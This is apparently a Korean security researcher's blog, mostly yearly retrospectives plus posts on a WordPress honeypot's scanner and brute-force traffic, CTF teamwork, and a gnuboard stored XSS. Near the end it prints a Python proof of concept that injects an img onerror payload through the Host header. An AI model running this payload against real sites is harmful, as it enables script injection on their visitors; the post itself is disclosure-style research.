2023년 12월 17일 일요일

2023 회고록

2023 회고록


작년에 이어 오늘도 회고록을 작성 하게 되었네요 ㅎㅎ 
블로그도 열심히 쓰면서 관리를 할려고 했으나, 회사 일이 너무 많아 개인적인 연구 할 시간이 없어 쓸게 없었네요ㅜ
그래서 그냥 회고록 저장소로 쓸까 생각중 입니다.

# 성장 하는것을 느끼다

2023년은 제 자신이 성장한것을 체감한해 인것 같습니다. 

회사를 운영하면서 막막할 때와 내가 못할 거 같았던 분야에 직면해야 할 때가 많았는데 , 차근차근 하나씩 하다 보니 어느새 문제들이 해결되는 것을 눈으로 확인한 순간, 모든 일은 마음먹기에 따라 달라지고, 생각 보다 내가 문제 해결 능력이 괜찮았고, 좋아졌구나를 느꼈습니다.

지금 이 글을 쓰는 순간에도 회사의 미래에 대해 걱정이 안 든다고 하면 거짓말이겠지만, 걱정보다는 어떻게 해결할 수 있는지를 더 고민할 수 있는 사람으로 성장한 거 같습니다.


# 법인으로 전환

개인 사업자에서 법인으로 전환을 하였습니다. 원래는 개인 사업자로 쭉 유지하고 싶었으나, 슬프게도 개인적인 사정으로 법인으로 전환하게 되었습니다.

그래도 법인으로 전환하면서 많은 우여곡절이 많았지만, 잘 해결이 되었습니다.

진짜 이때는 상상 만해도 끔찍한 시기였던 거 같습니다.


# 이탈리아 여행기

세희누나가 이탈리아 오피스에서 한달간 근무를 한다고 해서, 이 참에 나도 여행하면서 일하는 디지털 노마드가 되어볼까 하고 같이 따라갔으나, 하루종일 잠만 자고 또 일은 손에 안잡히고 결국 일도 여행도 두개다 하지 못해 시간을 날려버렸습니다. 

그래도 짧게나마 로마에 가서 콜로세움과 바티칸 박물관에 다녀왔는데 너무나 좋았습니다. 앞으로 로마에 방문하실 분은 콜로세움은 가이드 신청을 꼭 하셔서 가시는 걸 추천하고, 바티칸 박물관은 그냥 패스트트랙 티켓을 구하시는 걸 추천 드립니다. 아 그리고 바티칸 박물관은 진짜 제가 감동받은 박물관 중 하나 입니다.


# 뜻밖의 연구 결과들이 나오다

페이스북에서도 잠깐 언급했지만, 올해는 결과 없이 기술 성장을 목표로 두고 있었습니다.

하지만 운이 좋게도 프로젝트의 결과들이 전부다 좋았습니다. 그래서 너무나 뿌듯한 한 해가 아닐까 싶습니다.

그래도 중요한 프로젝트 하나가 실마리조차 잡히지 않아 고통스럽긴 하네요ㅜ


# 새로운 직원 채용과 무거워졌다가 가벼워진 어깨

원래는 나, 선주형, 진헌이 이렇게 3명으로 한 해를 보내려고 했으나, 직원을 더 구해서 회사의 기술 바운더리를 넓혀 보자라는 나의 욕심 때문에 직원을 무리해서 채용하게 되었습니다.

그리고 고맙게도 동욱이와 도현이가 우리 회사에 와서 일을 하겠다고 이야기를 해줘서 같이 연구를 진행할 수 있었습니다. 

처음에는 갑자기 늘어난 인원 때문에 어깨가 좀 무거워졌는데 컴퓨터를 하는 모습을 보니 어깨가 다시 가벼워졌습니다.

아마 올 한 해를 버틸 수 있었던 이유 중 하나가 회사 직원들이 어려운 일을 시켰음에도 묵묵히 일을 열심히 해줬기 때문입니다.


# Hexacon 과 파리 여행기 

파리에서 열리는 Hexacon 컨퍼런스에 가는 겸사겸사해서 파리를 여행했습니다.
관광지를 가는 것보다 진헌이와 걸어 다니다가 다리가 아프면 카페 테라스에서 커피나 마시면서 이야기를 하면서 파리의 분위기를 많이 느꼈습니다.  저는 이런 여행 스타일을 좋아해서 아주 좋았고 이야기도 나름 (?) 재밌게 했던 거 같습니다.

루브르 박물관과 오르세 미술관 두 개를 갔었는데 개인적으로 루브르보다 오르세 미술관에서 더 감동을 받았습니다.
루브르 박물관은 모나리자 맛집이라면, 오르세 미술관은 그림 맛집이었습니다. 오르세 박물관에서 제가 좋아하는 그림 스타일을 알았고, 처음으로 그림을 사고 싶다라는 생각이 들었습니다.


# 컨퍼런스 후원 하기

예전부터 컨퍼런스를 열어보기도 싶었고, 후원도 해보고 싶다라는 생각을 가지고 있었습니다.

그런데 운이 좋겠도 회사 재정이 생각보다 괜찮아서 후원을 하게 되었습니다 올해는 한국에서 열리는 컨퍼런스인  ze0rcon 2023, POC 2023만 후원을 했지만 앞으로는 해외에서 열리는 컨퍼런스에도 후원 하는 걸 목표로 두고 있습니다.  


# 사무실 이전

기존에 사용하던 사무실은 10평 조금 넘는 동아리방 같은 분위기의 사무실이었습니다.

그래서 그런지 사무실에 정이 안 가, 출근보다는 카페나 집에서 일을 많이 했던 거 같습니다.  그래서 선주형과 상의  끝에 넓은 사무실로 이사를 가게 되었습니다.

아직 직원 수에 비해 사무실이 엄청 크지만, 동료를 모아 공간을 채운다는 생각으로 살고 있습니다.


# 사업 마무리

연초에 시작했던 용역 사업을 무사히 잘 끝마쳤습니다. 결과도 좋게 잘 나왔고, 클라이언트 분도 만족해 하신거 같습니다.

회사를 하면서 하게 된 첫 프로젝트이니 만큼 잘 끝내고 싶었는데 욕심만큼 결과가 나와줘서 기분이 좋네요 ㅎㅎ


# 2023년 목표했던걸 대부분 이루다

회사를 시작하기 전 선주형과 올해 이루어야 되는 목표를 설정했었으나 서로 바쁘게 지내다 보니 목표를 잊고 말았습니다.

그런데 우연히 노트북 폴더 정리를 하다가 목표를 정리한 파일을 찾았고, 확인해 보니 올해 계획했던 것을 전부 다 이뤄낸 걸 보고 엄청 뿌듯했습니다.

그리고 앞으로는 목표를 잊지 않고 달려야겠다는 자기반성도 하게 되었습니다.


# 지식의 갈망

요즘에 컴퓨터를 하면서 모르는 지식이 너무 많아 코드 읽는데도 힘이 들고 버그를 찾는데도 힘이 드는 것을 느꼈습니다. 

그래서 컴퓨터를 더 알고 싶어 이것저것 하고 있는데 쉽지가 않네요, 언젠가는 어떤 코드를 봐도 이해하는데 쉬운 레벨까지 성장 하고 싶습니다.

아 그리고 컴퓨터를 공부하면서 영어 미숙으로 인해 좋은 글을 읽지 못하는 것 때문에 너무 짜증이나 영어 과외도 끊고 듀오링고도 하고 있습니다 ㅎㅎ


# 한 해 마무리

올해는 진짜 인생에서 제일 바쁘면서 즐거운 한 해 였던거 같습니다. 물론 올해 초중반까지 게임에 빠져서 일 도제대로 안 하긴 했지만 이탈리아를 다녀와서부터는 코드도 열심히 보고 사무적인 일도 제때 바로 하고 열심히 했던 거 같습니다. 

그리고 좋은 동료들을 만나 연구를 같이 하게 되는 좋은 기회와 더불어 결과까지 얻어내 아주 뿌듯한 한 해 였습니다.

이제는 내년 목표를 설정하고 달리기위해 남은 12월은 좀 천천히 달릴까 생각하여 일본 여행도 잡았습니다.

그럼 모두 미리 메리크리스마스와 해피뉴이어 입니다 !



2022년 12월 31일 토요일

2022년 회고록

2021년은 넘어가고 2022년 회고록을 적게 되었네요, 원래 맨날 미친듯이 잡고 있던 SNS나 유튜브 같은것들을 손에서 많이 논 상태로 컴퓨터와 일을 하다 보니 제 근황을 적을 기회가 많이 없었네요...(사실 많이 게을렀습니다)

2020년 회고록을 읽어 보니 일할려고 컴퓨터 앞에 앉았는데 할거 없어서 회고록을 적었던데...이번에는 그래도 디버깅 환경 세팅하다가 귀찮아서 적는거 보니 조금 성장한 저를 확인 합니다 ㅎㅎ;



# 2022년

엔키 퇴사후 새로운 보금자리로 만들다.


아는 사람은 알고, 모르는 사람은 모르는 소식중 하나 입니다. 오래 다니던 이전 회사인 엔키를 퇴사 하게 되었습니다. 
엔키를 퇴사 한다는 소식 듣고 많은 사람들이 뭐 싸웠냐, 회사 망하냐 이런 질문들을 저한테 하시는데 전혀 아닙니다.
엔키에 남아 있는 사람들과 여전히 잘 지내고 있고 엔키는 앞으로도 더 잘될 회사 입니다. 현재 계획된 일들만 해도 남아 있는 구성원들이 아주 힘들어 보이더군여...
다만 제가 엔키를 퇴사하는 이유는 그냥 제 머리도 어느정도 굵었고, 나만의 무언가를 해보고 싶었기 때문입니다.
엔키는 나만의 회사가 아니라 많은 사람들의 기회비용이 들어간 회사 이기 때문에 나의 한계를 도전하기에는 많이 조심스러운 부분이 있었습니다. 그래서 아예 따로 마음 맞는 사람과 회사를 만들어서 도전을 하게 되었습니다.

그래서 만들어진 회사가 바로 "PKSecurity" 입니다. (http://pksecurity.io/)

사업자를 내고 처음에는 설렘반 기대반을 가득 안으면서 난 무조건 성공 할수 있을거라 다짐을 했습니다.
하지만 한달도 안되서 이상한 책임감이 저를 짓누르면서 앞으로 뭐 해먹고 사나, 진짜 내가 할 수 있을까란 고민을 미친듯이 하게 되었습니다. 이런 고민들이 저를 미치게 만들어 불면증과 동시에 최악의 건강 상태를 만들어줬습니다. 그래서 "대상포진" 이라는 병을 획득 하였고 아직도 후유증으로 고생을 하고 있습니다. 이 글을 읽는 분들도 꼭 건강은 챙기면서 일을 하시길 바랍니다 ㅜ 대상포진 진짜 아프고 힘든 병입니다.
 어쨋든 이런 고민들을 하면서 계속 맨땅에 헤딩한 결과, 클라이언트분들도 만나게 되었고 운좋게도 내년도 먹거리는 고민 안해도 될정도로 돈을 벌기도 하였고, 벌 예정에 있습니다.


앗 그리고 회사 홍보를 조금만 하자면, PKSecurity에서는 취약점 연구를 중점으로 1-day분석, 트레이닝을 하고 있으니 관심 있으신분은 페이스북 DM이나 info 메일로 연락 주시면 감사하겠습니다 ㅎㅎ

면허를 따고 차를 사다

제가 미루고 미루던 면허를 따고 차를 사게 되었습니다.
필기, 기능, 도로주행 모두다 한번에 붙은 베스트 드라이버 입니다 하하 
면허를 따고 나니 바로 차를 사고 싶었으나, 개인적 이유로 통장에 돈이 없던 저는 그냥 첫차니깐 무난하게 아반떼 중고로 하나 마련 했습니다만... 차를 계속 타보니 이게 하차감과 승차감이 생각보다 별로라서 차를 한달만에 다시 530i msp 로 다시 구매 하게 되었습니다. 이 과정에서 주변 사람들에게 미친놈이라고 많이 욕도 먹었지만 뭐 제가 행복하면 된거 아닐까요 하하 ㅋㅋ
그리고 제가 타던 아반떼는 임준오군에게 싸게 팔아 버렸습니다!

취약점 복이 터지다 & Pwn2own 실패...

1년에 취약점을 5개 찾으면 많이 찾았다고 생각 합니다 (물론 exploit 되는 버그 기준으로)
하지만 이번년도에는 무슨일인지 엄청나게 많은 제로데이를 찾게 되었습니다. 그중에 microsoft teams에서 재밌는 버그를 용휘형과 찾게 되었고 해당 취약점으로 pwn2own 엔트리에 등록 했으나.. 대회장 인터넷 이슈(한국 서버로 접근이 잘 안댐) 로 버그가 잘 동작하지 않아 시간 초과로 실패하게 되었습니다. 또한 용휘형이 찾은 엄청난 sandbox escape 취약점도 일본에 마사토란 해커가 먼저 버그를 제보한 상태라 1000만원을 받는것으로 마무리 되었습니다.
이 외에도 유명한 소프트웨어들에서 많은 버그들을 찾고, exploit에 성공해 뿌듯한 1년을 보내게 되었습니다.

사실 취약점 찾을때는 잘 몰랐지만, 회고록을 찾으면서 제가 찾은 버그들을 카운팅 해보니 엄청나게 많고 좋은 버그들을 찾았구나 하고 깨닫네요 

사고 낸 후 보험처리 하다.

판교에 사시는분, 판교를 자주 가시는분은 아시겠지만, 아브뉴프랑이란 곳이 있습니다. 혹시 주차장 들어가다가  벽에 구멍이 난걸 보신분이 있을려나 모르겠는데, 그거 제가 남긴 작품이였습니다ㅠ
클라이언트와의 약속이 너무 늦어서 급하게 가느라 사고를 내버렸습니다. 
그래도 보험사에 연락하고 비용처리도 하고 차 고치는데 흥정도 하고 뭔가 사회원으로 한 발자국 더 나아간 기분이라 약간의 기분 좋음도 있었으나 .. 차 수리에 200만원 가까이 들어간걸 생각하면 아직도 짜증 나네요허허 ;;


뭐 더 적고 싶은데 생각보다 제가 이번년도에 일만해서 이벤트가 별로 없네요 2023년에는 더 열심히 살아서 좋은데도 많이 가고 좋은것도 많이 먹어서 많이 적을수 있는 한해를 살도록 해봐야겠습니다.


아 그리고 물론 회사도 잘 키워서 멋진 사장이 되볼렵니다 하하 














2021년 1월 13일 수요일

2020년에 있었던 일과 앞으로의 계획


2020년이 끝나고 2021년이 시작되면서 많은 회고록을 보고, 나도 열심히 살아야겠다라는 마음이 들어 침대에 누워있다가 책상에 앉으니 막상 연구가 하기 싫어졌다. (INTP라서 게으름 ㅎ)
그래도 이왕 앉은거 뭐라도 해보자 하면서 생각 한게 회고록과 앞으로의 계획을 블로그에다 적는것이였다.
블로그 쓴지도 오래되었고, SNS도 잘 안하다보니 생존신고 같은 비슷하게 하기 위함 ㅋㅋ


2020 회고


2020년에는 많은 일들이 있었습니다. 개인적인 기술적으로 성장과 건강등 업그레이드된것도 있고 너무 업그레이드되어 부식된것도 있습니다 (건강같은거?)

이 전에는 "김용진" 이란 이름을 말하면 "adm1nkyj"란 닉네임이 먼저 나오는 그런 삶을 살았습니다. 하지만 현재는 "김용진" 하면 ENKI 다니는 사람?  이란 수식어가 먼저 나오는거 같습니다. 사실 ENKI에 다니면서 많은 일들을 겪고, 또 회사랑 같이 성장해온 사람으로서 기분 좋은 수식어라고 생각 합니다. 그래서 나의 성장 파트너인  ENKI의 회고록도 같이 끄적여보겠습니다.

회사 

1. 힘든 시기를 이겨내다.

2020년 1~3월달 ENKI는 대부분의 컨설팅 회사 사정과 마찬가지로 엄청난 보릿고래를 겪었습니다. 이 시기때 회사원 대부분(?)이 회사 걱정을 하고 다니면서 뭐해먹고 사나 걱정을 하고 살았습니다. 제일 암울한 시나리오까지 생각을 하던 시기였습니다. 

이 당시만 해도 진짜 너무 우울하고 힘들어서 무엇을, 어떻게 해야 되나 싶었습니다. 그래서 당장 눈에 보이는것인 회사 조직도 개편 하고, 새로운 서비스도 기획 하고 여러것들을 계획 하였습니다, 계획한 서비스는 이번년에 오픈할 예정입니다 (아마 맞을거임 ㅎㅎ)

이 후, 시간이 흘러 다행스럽게도 컨설팅 일과 연구 사업들이 진행 되다 보니 회사 형편이 좋아져 나름 잘 버티게 되었습니다. 

2. 새로운 사람들이 들어오다

ENKI에 새로운 사람들이 합류 하게 되었습니다. 

영업하시는 분들과, 실력 좋은 개발자, 해커들을 모셔와 더 퀄리티 있는 연구와, 사업을 진행하고 있습니다.
기존에 있는 사람들도 실력자이나, 잘하는 사람들이 더 추가 되니  프로젝드들이 수월하게 마무리 되는 성과도 보였습니다.

만약 저희 회사에 관심 있으신분들은 편하게 연락 주시면 감사하겠습니다~

3. 회사 프로젝트 성과 및 아쉬움

ENKI에서 하는 일을 크게 3가지 분류 할수 있습니다.

1. 플랫폼 개발 & 서비스 개발
2. 연구사업
3. 컨설팅

이중에서 저는 컨설팅 사업을 주력으로 맡고 있습니다. (연구랑 개발은 뭔가 제 체질도 아니고 실력도 안되고 뭐 그렇더라고요 ㅋㅋ)

컨설팅 사업은 보통 블랙박스로 진행 되고 있습니다. 개인적으로는 화이트박스를 지향 하나 업체 입장에서는 부담이 크니 어쩔수가 없습니다ㅜㅜ (그래도 화이트박스를 하고 싶네요)

블랙박스임에도 불구하고 ENKI는 대부분 프로젝트에서 성공적인 결과를 얻어냈습니다.
여기서 성공적인 결과라 하면 대부분 서버장악, DB 유출 같은것들을 의미 합니다. 하지만 아쉬운거는 이때까지 ENKI는 크리티컬한 취약점 찾는거에 집중하고 그 이외의 것들은 집중하지 않았습니다

가령 보고서 퀄리티, RCE, SQLI와 같은 크리티컬 이슈이외에것들... 이런것들이 반복 되면서 문제를 인식 하고 조금씩 해결해 나가고 있습니다 (사람이 한번에 바뀌면 죽는다는 속설을 아시나요?)

또한 연구 사업과 플랫폼 개발은 제가 주로 맡은 사업은 아니지만, 염탐한 결과 다들 엄청난 성과를 내주고 있습니다. 이렇게 가다가는 제 로망인 월급만 축내는 인간이 더 빨리 실현 될수 있을거라 생각 되어 뿌듯하고 하루 빨리 이 날이 왔으면 합니다.

4. 2021년 ENKI

2021년은 내부에서 ENKI의 문제점을 파악 하고 2020년 보다 더 나은 회사가 되기 위해 노력 할 예정입니다.


나의 삶 


1. 연구 그리고 0-Day

2019년은 많고 적다면 적은 제로데이를 찾고, 블로그에 포스팅 하는 재미를 쏠쏠 하게 보면서 살았다면, 2020년은 0-day를 2019년보다 찾지 못하고, 연구도 많이 하지 못했습니다.

이런일이 반복 되다보니 초창기에는 자신감도 떨어지게 되고, 난 재능이 없는 사람일까? 라는 고민 까지 하게 되었습니다.

그러던중 회사 프로젝트중 내가 경험하지 못한 일을 하게 된적이 있습니다. (어려웠음) 그러나 프로젝트를 생각보다 잘 해내는것을 보고 자신감도 회복하고 다시 0-day를 찾을수 있는 몸이 되어 버렸습니다 .

슬픈 사연이 있는 0-day가 있는데,  2020년 올해초에 유명한 오픈소스에서 재밌는 취약점을 여러개 발견 하였지만, 평소 게으른 습관이 몸에 베어 제보를 안하고 있다가 5개월후 다른 사람에 의해 패치 당하는 일이...

이 외에도 XE나 다른 벤더 제품도 여러개 발견 하였지만, 사정상 다 말을 못 하는것이 아쉽네요ㅜㅜ 

2021년에는 재밌는 연구와 취약점을 블로그에 포스팅 할 예정이니 지켜봐주세요 

2. 주식 그리고 .... 삼성전자...

코로나 사태가 한 후, 집에만 박혀 youtube만 보다 보니, 주식이라는 항목에 관심이 생겼습니다. 이때 생각한것이 코로나 사태 때문에 성장한 기업들, 또한 부진한 기업들이 있을것이고 부진한 기업들에 돈을 박고 3년만 묵혀도 적금보다는 많이 벌것이라는 생각을 하게 되었습니다. 그리고 이것을 막상 실천 할려고 하니 무섭기도 하고 해서 같이 들어갈 사람을 모집 하고 있었습니다 (혼자 한강 가는것보다, 다수로 가는게 심심하지 않을거 같기도 하고 해서)  이때 세한형을 디게 꼬셨습니다 "초심자의 행운으로 말하는건데 내가 말하는건 다 나중에 오를것이다" 라고 엄청 꼬셨고 거의다 넘어왔지만, 흐지부지 하게 종결 되었습니다 

이때 제가 말한 종목은 "삼성전자", "대한항공", "하나투어" 입니다 그리고 안랩도 최근에 찍었는데 "안철수" 님께서 서울시장 출마 하시면서 또 오르더라고요. 아직 제가 종목에 실제로 넣은건 아니니깐, 초심자의 행운을 쓰지 않았으니 같이 들어가실분은 말해주세요! ㅋㅋㅋ

3. 연구 그리고 회사일

원래 저는 CTF 하는것과 한가지 소프트웨어를 분석하고 재밌는 취약점을 찾는것을 좋아 하던 해커중 한명이였습니다. 하지만 회사에서 하는 컨설팅 일은 대부분 블랙박스로 되어 있으며, 문서작업과 같은 재미 없는 일들이 몰아쳐 잠시 힘들었던적이 있었습니다. 너무 깊은 고민을 하게 되었고, 세한형한테 조언도 구하고 옆동네 회사 티오리 사장님이신 박세준님 한테도 조언을 구하였습니다 이때 두분의 조언이 크게 도움이 되어 힘든 시기를 무난히 넘길수 있게 되었습니다.

4. 건강

평소 작업환경에 엄청 민감하여 어떤 장소든간 집과 같은 환경을 유지를 해야 하는 컴플렉스를 지니고 있어 모니터를 사용하지 않았습니다. 이 때문에 목, 허리, 어깨 전부다 망가져 버렸고. 2020년 초에 시작한 질병이 2020년 끝날때까지 완치가 안되고 있네요ㅜ 현재 모니터도 사용하고 자세도 신경 쓰면서 컴퓨터를 하고 있습니다. 여러분도 자세 신경 쓰셔서 돈 아끼시길 바랍니다 (도수치료에만 400 넘게 쓴거 같습니다)

또한 평소에 잠을 안자고 공부, 일 을 하는게 멋지고, 열심히 사는 사람인줄 착각 하였습니다. 조금만 더 생각해봐도 디게 멍청한 생각이란걸 알수있는데, 생각이 짧았습니다ㅜ

어쨋든 몬스터 마시면서 2~3일 안자고 버티고 코드보고 하다가 결국에는 건강이 완전히 악화되었습니다.

이 글을 보고 있는 잠을 자지 않는 해커라면 잠을 자가면서 컴퓨터 하시는것을 권고합니다 ~

4. 여자친구

아는 사람은 알고 모르는 사람은 모르는 소식중 하나는 여자친구가 생겼습니다. 


2021년을 시작하며

2021년은 블로그 활동도 열심히 하고 연구와 바운티 참여도 열심히 할 예정입니다 (2020년에는 5000만원 가량 벌었더군요)

또한 해킹 말고도 돈벌수 있는 수단을 고민하여 얼른 100억을 모을 예정입니다.

또 제 성장 파트너인 ENKI도 같이 성장하여 월급 도둑의 꿈을 실현 시킬 예정입니다 ㅋㅋ

그럼 2020년보다 성장한 저를 기대 해주십셔 ~










2020년 4월 26일 일요일

honeypot 서버 운영 경험기

오랫동안 개인 블로그에 글이 업데이트 되지 않는것을 보고 빨리 재밌는거 하나 찾아서 글 올려야지 다짐을 했었는데 이제야 올리게 되네요.

앞으로는 열심히 살아서 꾸준하게 올리도록 하겠습니다.


=====


결론부터 말하면 얻은 것이 아무것도 없습니다. 뭔가 흥미로운 내용을 원하셨다면 그냥 이 창을 끄고 자기의  삶에 조금 더 시간을 쏟는 것을 권장 드립니다

이런 잉여짓을 하는 사람이 실제로 있구나 하면서 읽어주시면 감사하겠습니다.

honeypot 서버를 구축하게 된 계기는 다음과 같았습니다.  

인터넷 서핑 또는 일을 하다가 많은 wordpress 서버가 해킹 당하여 디페이스 혹은 악성코드가 심어져 있는것을 확인 하였습니다.

이것을 보고, 의문점이 들었습니다.  wordpress 서버는 내가 알고 있는 프레임워크중 손꼽힐 정도로 튼튼한데 어찌 해킹을 당할까에서 출발된 아이디어였습니다.

제가 만든 honeypot 서버의 스펙(?)은 아래와 같습니다.

1.  apache
2. wordpress 엄청 옛날 버전
3. mysql
4. php
5. ubuntu

apache 설정은 아래와 같습니다. (이쁘게 올리고 싶었는데 Blogger가 기능 지원  해주는게 없어서 그냥 대충 올립니다.)

<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
SecRuleEngine On
SecAuditEngine On
SecRequestBodyAccess On
SecAuditLogParts ABCFE
SecAuditLog /var/log/apache2/detail_log
</VirtualHost>

위와 같이 서버를 구성 한뒤 로그를 관찰하고 있었습니다. 

그런데 신기하게도 사이트에 대한 별 홍보가 없었음에도 불구하고 약 1시간뒤 스캐너들이 제 서버에 슬금슬금 들어오는게 포착이 되었습니다.

이것을 통해 전 운이 좋으면 wordpress  1-day exploit 더 운이 좋으면 0-day까지 얻을수 있겠다라는 희망이 생겼습니다.

그 후  다시 나의 삶을 돌아와서 살다보니 내가 허니팟 서버를 만들었다는 사실을 잊어버린채 살게 되었습니다. (원래는 한 일주일만 돌려볼려고 생각했음)

그리고 1년이 지난 어제, 일이 너무 하기싫어 이것저것 클릭하고 있던 도중 나의 허니팟 서버를 발견 하게 되었고, 로그 데이터도 보니 생각보다 많이 쌓여있어 회사일 보다 이게 더 가치있는 일인거 같다 라는 합리적인 생각이 들었습니다.

서버에서 로그를 다운 받고 먼저 URI 부분만 파싱 하였습니다.

파싱후 중복된 내용을 제거한 데이터는 아래와 같습니다.
https://gist.github.com/adm1nkyj/5df1a1d21324f4debe1537c8a3c766b1

확인 결과 해커들이 그냥 단순 스캐닝이 많다는것을 확인 할수 있었습니다.

그런데, 여기서 주목 해야 할점은 

https://gist.github.com/adm1nkyj/5df1a1d21324f4debe1537c8a3c766b1#file-honeypot_uri_data-L2097
https://gist.github.com/adm1nkyj/5df1a1d21324f4debe1537c8a3c766b1#file-honeypot_uri_data-L2454

와 같은 부분입니다. 저 공격 기록들을 통해 CVE-2020-9054, CVE-2019-11510 와 같이 최근에 발견된 취약점들도 빠르게 exploit을 개발하여 자신들의 스캐너에 추가하여 공격에 사용한다는 것을 알 수 있었습니다.  (만약 이 글을 보안 담당자가 보고 계신다면, 자신의 회사 소프트웨어들이 최신 버전인지 다시 한번 확인 하는 것을 추천 드립니다)

하지만 제가 생각한 결과가 나오지 않아 아쉬운 나머지 추가적인 부분을 더 보았으나 딱히 흥미를 유발한 무언가가 없어 그냥 대충 마무리를 지었습니다.

아래는 제 서버에 로그인을 시도한 ID/PW 딕셔너리 데이터입니다. (중복제거한 데이터임)
https://gist.github.com/adm1nkyj/20f5397a39aa5b666e233a1a21e805ce

생각보다 적은 데이터를 시도해서 다시 한번 놀랐습니다.

위에 있는 데이터들을 바탕으로 스캐너들이 wordpress를 해킹하는 방법을 정리해보면 아래와 같습니다.

1. https://hackertarget.com/wordpress-user-enumeration/ 에 서술된 방법으로 wordpress 유저들을 열거
2. 열거된 유저를 기준으로 딕셔너리로 비밀번호 브루트포싱함
3. 걸리면 장땡 안되면 말고....


이렇게 저의 어떻게 보면 얻은게 있는 간단한 허니팟 프로젝트가 마무리 되었습니다.

다 쓰고 보니 글이 뭐 너무 두서가 없는데 그냥 일하기 싫어서 쓰는거니간 그냥 이 사람은 이렇게 시간을 버렸구나 하면서 생각 해주세요. 이 글에 대해서 뭐 따로 질문이 있으시다면 페이스북 메세지로 연락 주시면 답변 해드리겠습니다.



 이 프로젝트에서 아쉬웠던점은 아래와 같습니다.

먼저, 전  해커들이 엄청난 무언가를 이용해 사이트들을 해킹 할줄 알았으나 단순 스캐닝과 브루트포싱 같은 단순한 방법으로 해킹을 한다는거에 아쉬웠습니다.

 두번째로는 이 단순한것들에 많은 사이트들이 무방비로 당한다는것이 아쉬웠습니다


아 글 어떻게 끝낼지 모르겠으니깐 그냥 대충 이렇게 마무리 지어야겠다 으아아아악

다음에는 재밌는 취약점 찾아와서 제대로 글을 써보도록 하겠습니다.
(최근에 제가 제대로 적은 글을 보고 싶으시다면 회사 홈페이지 가시면 됩니다!)

https://enki.co.kr/blog/2020/03/06/xe_vuln.html
https://enki.co.kr/blog/2020/02/27/cce_writeup.html














2018년 11월 29일 목요일

CTF 할때 능률을 높이는법

이 글에서는 기술적인 내용을 다루는 것이 아니라 CTF 할 때 팀의 능률을 조금이나마 높일 수 있는 방법에 대해 말할 것입니다.

한국에서는 요즘 점점 CTF팀이 늘어나거나 여러 개의 팀이 하나로 합쳐지는 경우가 많습니다. (ex : LeaveCat)
그리고 몇몇 팀들이랑 이야기를 해보면 개인의 실력은 좋은 거 같은데 팀 실적은 안 좋은 팀이 많은 것을 보고 점점 고인 물이 되어 가는 처지에서 CTF에서 하면 안 되는 몇 가지를 말씀 드리려고 합니다.. (물론 저도 CTF 실적은 좋지 않기에 알아서 잘 걸러서 읽어주세요)

문제점

1. 같은 팀끼리 경쟁 하려 한다.
CTF는 팀전입니다. 경쟁해야 될 건 같은 팀원이 아니라 상대 팀입니다. 그리고 경쟁을 하는 이유는 아래와 같은 것이라 생각이 듭니다. 왜냐하면, 저도 예전에는 그랬기 때문이죠 :)

- 플래그를 많이 인증하는 사람이 캐리 했다는 심리가 있음.
과연 플래그를 많이 인증한 사람이 캐리 한 것일까요? 물론 한 사람이 압도적인 힘으로 모든 걸 했다면 캐리 했다고 할 수 있습니다. 하지만 대부분은 그 플래그를 가져오는 과정에서 팀들의 도움이 있었을 것입니다. 왜냐하면, 팀전이니깐요 :)

- 본인이 무조건 돋보이고 싶다는 심리 (실력 과시)
실력 향상에는 도움이 될지는 모르겠지만, 팀전에는 맞지 않죠 이런 심리라면 팀플레이가 아니라 솔로 플레이를 권장합니다.

- 본선 테이블 제한 문제
보통 본선을 갈 기준을 누가 많이 풀이에 기여를 했느냐로 따지고 갑니다 이때 기여의 기준은 자기가 획득한 점수가 되겠죠. 그렇기에 플래그를 양보를 못할수 뿐이 없게 됩니다 그래서 저희팀은 대회를 한 사람들끼리 알아서 차례대로 돌아가면서 갑니다.(양보를 할 줄 아는 사람이 되어봅시다)

- 플래그를 가져오지 못한 사람은 한 게 없다는 취급을 하기 때문
엄청나게 위험한 발상이죠, 보통 한 문제를 풀기 위해 2명 이상이 달라붙어서 푸는 경우가 많습니다. 왜냐면 요즘 CTF 문제들이 너무 어려워졌거든요.
문제를 풀 때 마다. 항상 한 사람은 아이디어를 잘 내고 또 한 사람은 익스플로잇이 빨라 플래그를 가져오는 속도가 빠를 것입니다. 이런 상황에서 아이디어를 잘 내는 사람은 자기가 플래그를 많이 인증하고 싶어 느릿느릿 익스를 하다가 대회가 끝나는 경우가 많을 것이고, 이러한 악순환은 계속 돌아가게 되고 팀 성적은 부진하게 되기 마련이죠

2. 참여한다 해놓고 잠수 타 버린다.

엄청나게 좋지 못한 행동이죠. 처음부터 대회를 못한다 하면 되는데 처음에는 같이 한다 하고 대회 그날 이유는 말도 안 하고 숨어버리면 나머지 팀원들은 매우 힘이 빠지게 될 것입니다. 몸이 아프거나 하면 쉬어야죠 XD

3. 결과에 너무 신경 쓴다.

요즘 CTF 난이도가 너무 어려워 어떤 CTF에서는 결과가 좋고 어떤 CTF에서는 부진할 때가 많습니다. 많은 사람이 결과가 좋으면 자만하게 되고 결과가 안 좋으면 슬럼프에 빠지기 일상입니다 이때 좋은 해결 방법은 좋든 나쁘든 신경을 안쓰시는게 좋습니다.

2017년 11월 21일 화요일

gnuboard stored xss

예전에 포스팅 했던 취약점인데, 취약점이 워낙 재밌게 터지고 파급력 또한 좋은거 같아서 이 쪽 블로그에 옮겨봅니다.

--


일단 index.php소스를 봐줍니다 



latest 함수로  echo를 시켜 주는걸 볼수가 있는데 평소에는 아 여기서 취약점이 터지겠어 라는 생각으로 넘겼지만 돈이 급하고 취약점이 급하다 보니 걍 구조를 보게 되었습니다. 



함수를 보시게 되면 캐시 파일이 존재 하면 그걸 include 시키고 존재 하지 않는다면 캐시 파일을 생성한후 그걸 include를 시켜줍니다.
이때 캐시 파일을 쓸때 $latest_skin_url 변수의 값을 넣어주게 되는데 latest_skin_url 변수는 G5_SKIN_URL 이 값이 담기게 됩니다 
G5_SKIN_URL 값은 common.php파일의 g5_path() 함수에의해 host헤더 값이 담기게 됩니다.

익플 방법은 일단 캐시를 초기화 시켜주기 위해 게시글을 하나 쓴뒤, 그 다음 index.php로 host에  "><img src=1 onerror="alert('XSS');">하시면 됩니다 






PoC : 
import requests
from urllib import quote

header = {"Host":"\"><img src=1 onerror=\"alert('XSS');\">"}

url = "site_url"

r = requests.get(url, headers=header)
print r.text




2017년 9월 23일 토요일

gnuboard open redirect & password leak

